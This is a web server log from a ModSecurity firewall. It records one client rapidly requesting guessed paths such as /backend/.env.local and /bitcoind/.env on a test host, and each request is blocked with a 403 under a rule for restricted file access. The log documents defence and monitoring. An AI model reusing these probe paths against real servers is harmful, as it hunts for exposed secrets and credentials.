[Mon Jul 28 20:46:04.910641 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cHAAAAAM&quot;]
[Mon Jul 28 20:46:04.910826 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cHAAAAAM&quot;]
[Mon Jul 28 20:46:04.910989 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cHAAAAAM&quot;]
[Mon Jul 28 20:46:04.932807 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cHQAAAAM&quot;]
[Mon Jul 28 20:46:04.933021 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cHQAAAAM&quot;]
[Mon Jul 28 20:46:04.933209 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cHQAAAAM&quot;]
[Mon Jul 28 20:46:05.150955 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXgAAAAAU&quot;]
[Mon Jul 28 20:46:05.151286 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXgAAAAAU&quot;]
[Mon Jul 28 20:46:05.151517 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXgAAAAAU&quot;]
[Mon Jul 28 20:46:05.219101 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /base_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXgwAAAAU&quot;]
[Mon Jul 28 20:46:05.219298 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXgwAAAAU&quot;]
[Mon Jul 28 20:46:05.219448 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXgwAAAAU&quot;]
[Mon Jul 28 20:46:05.241380 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /basic-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhAAAAAU&quot;]
[Mon Jul 28 20:46:05.241593 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhAAAAAU&quot;]
[Mon Jul 28 20:46:05.241746 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhAAAAAU&quot;]
[Mon Jul 28 20:46:05.263611 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bgoldd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhQAAAAU&quot;]
[Mon Jul 28 20:46:05.263803 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhQAAAAU&quot;]
[Mon Jul 28 20:46:05.263957 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhQAAAAU&quot;]
[Mon Jul 28 20:46:05.285910 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bitcoind/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhgAAAAU&quot;]
[Mon Jul 28 20:46:05.286148 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhgAAAAU&quot;]
[Mon Jul 28 20:46:05.286293 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhgAAAAU&quot;]
[Mon Jul 28 20:46:05.308128 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blankon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhwAAAAU&quot;]
[Mon Jul 28 20:46:05.308307 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhwAAAAU&quot;]
[Mon Jul 28 20:46:05.308471 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXhwAAAAU&quot;]
[Mon Jul 28 20:46:05.330177 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blob/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiAAAAAU&quot;]
[Mon Jul 28 20:46:05.330376 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiAAAAAU&quot;]
[Mon Jul 28 20:46:05.330526 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiAAAAAU&quot;]
[Mon Jul 28 20:46:05.352347 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiQAAAAU&quot;]
[Mon Jul 28 20:46:05.352519 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiQAAAAU&quot;]
[Mon Jul 28 20:46:05.352679 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiQAAAAU&quot;]
[Mon Jul 28 20:46:05.374862 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blogs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXigAAAAU&quot;]
[Mon Jul 28 20:46:05.375054 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXigAAAAU&quot;]
[Mon Jul 28 20:46:05.375254 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXigAAAAU&quot;]
